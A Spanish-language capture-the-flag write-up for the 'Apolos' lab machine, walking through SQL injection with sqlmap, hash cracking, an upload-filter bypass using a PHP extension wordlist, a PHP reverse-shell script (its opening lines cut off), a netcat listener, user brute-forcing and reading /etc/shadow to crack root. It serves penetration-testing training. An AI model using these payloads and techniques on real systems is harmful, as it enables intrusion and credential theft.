> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/apolos-write-up.md).
# Apolos write-up
## **Verificamos la conexión con la máquina víctima**
## **Realizamos un escaneo para identificar los puertos abiertos de la máquina víctima**
Utilizamos **nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:
```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```
El escaneo nos indica que el puerto 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en nuestro navegador y contemplamos lo siguiente:
Ahora, si nos vamos al apartado de cuenta, nos registramos e iniciamos sesión con la cuenta que hemos creado, veremos lo siguiente:
Si ahora hacemos clic en `Comprar Ahora`, contemplamos lo siguiente:
Ahora si en la barra de búsqueda de los productos probamos a ingresar una inyección sql como `' or 1=1 -- -` y hacemos clic en buscar, nos aparecerán todos los productos.
Esto indicaría que se está realizando la búsqueda de forma vulnerable, así que vamos a utilizar **Burpsuite** para capturar la petición y luego se la vamos a pasar a **sqlmap** para observar la base de datos.
Para ello hacemos clic derecho en **Burpsuite** y guardamos la petición como un archivo.
Y para que funcione primero debemos modificar el archivo eliminando `jenkins-timestamper-offset=-3600000;` y después ejecutaremos lo siguiente:
```bash
sqlmap -r request.txt --dbs --batch --dump
```
Esto nos indica la existencia del usuario `admin` y que si contraseña es `7f73ae7a9823a66efcddd10445804f7d124cd8b0`, si utilizamos **Hash-identifier** para ver de que tipo de hash se trata vemos lo siguiente:
Esto indica que posiblemente sea `SHA-1`, así que vamos a usar **John the Ripper** para romper la contraseña, para ello, primero guardamos el hash en un archivo y después ejecutamos lo sigiuente:
```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt hash
```
Esto nos indica que `0844575632` corresponde con el hash `7f73ae7a9823a66efcddd10445804f7d124cd8b0`, así que ahora iniciamos sesión como el usuario `admin` en la página.
Dentro del perfil del usuario `admin`, encontramos un botón que nos envía al panel de administración, por lo tanto hacemos clic en el botón y vemos lo siguiente:
Si ahora nos vamos a la opción de `Configuración`, observamos un formulario para subir archivos, por ende, subiremos ahora un archivo malicioso en php que al ser ejecutado nos envíe una shell interactiva. El contenido del archivo será el siguiente:
```php
array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
// Mostrar mensaje de bienvenida a la shell
fwrite($sock, $welcome_message);
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
```
Después de intentar subir el archivo nos aparece un error indicando que no se pueden subir archivos con extensión PHP, así que vamos a abrir **Burpsuite** y vamos a capturar la petición al enviar el archivo.
Una vez hecho esto, pasamos la petición al **intruder** haciendo clic derecho. Y ahora vamos a hacer varias peticiones cambiándole la extensión del nombre del archivo. Para tiene que quedar de está manera:
Y ahora vamos a cargar un pequeño diccionario con varias extensión, el diccionario sería el siguiente:
```plaintext
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module
.php
.php4
.php5
.phtml
.module
.inc
.hphp
.ctp
```
Lo añadimos haciendo clic en `load`, desactivamos la opción de `URL-encode` y después hacemos clic en `start attack`.
Esto nos indica que lo archivos se habrían subido correctamente, así que ahora vamos a usar **Dirb** para averiguar donde se podrían haber subido. Para ello ejecutamos lo siguiente:
```bash
dirb http://172.17.0.2/
```
Observamos la ruta `http://172.17.0.2/uploads/`, por lo tanto, ingresamos la ruta en el navegador y vemos que se subieron correctamente los siguientes archivo:
Probando vemos que solo se ejecuta el archivo con extensión [shell.phtml](http://172.17.0.2/uploads/shell.phtml), así que nos ponemos en escucha con **netcat** y hacemos clic en el archivo.
```bash
sudo nc -nlvvp 444
```
## **Escalada de privilegios**
Una vez dentro de la máquina víctima, vamos a pasarnos un script para hacer fuerza bruta contra un usuario, el script lo podéis descargar en mi [Github](https://github.com/Shinkirou789/Linux_brute_force2) o con el siguiente comando:
```bash
git clone https://github.com/Shinkirou789/Linux_brute_force2.git ; cd Linux_brute_force2 ; chmod 0700 linux_fuerza_bruta.sh
```
Ahora nos lo transferimos desde la máquina host a la máquina víctima junto a un diccionario de contraseñas montando un servidor con Python con el siguiente comando:
```bash
python3 -m http.server 80
```
Una vez ya nos hayamos descargado el script junto al diccionario, creamos un archivo de texto con los usuarios que queramos probar, en este caso `luisillo_o`, y movemos el script al directorio `/tmp`, donde le damos permisos de ejecución.
Y ahora para ejecutar el script solo tenemos que hacerlo de la siguiente manera:
```bash
./linux_fuerza_bruta.sh
```
Y el script nos indicaría que la contraseña de `luisillo_o` es `19831983`.
Ahora que somos el usuario `luisillo_o` ejecutamos el comando `id`, el cual nos indica que pertenecemos al grupo `shadow`.
Así que ahora podemos leer el archivo `/etc/shadow` y ver la contraseña del usuario `root` hasheada.
Por lo tanto ahora la guardamos en un archivo y utilizamos la herramienta llamada **john the Ripper** ejecutándolo de la siguiente manera:
```bash
john --wordlist=/home/shinki/Escritorio/rockyou.txt --format=crypt hash
```
Finalmente, esto indicaría que la contraseña del usuario `root` es `rainbow2`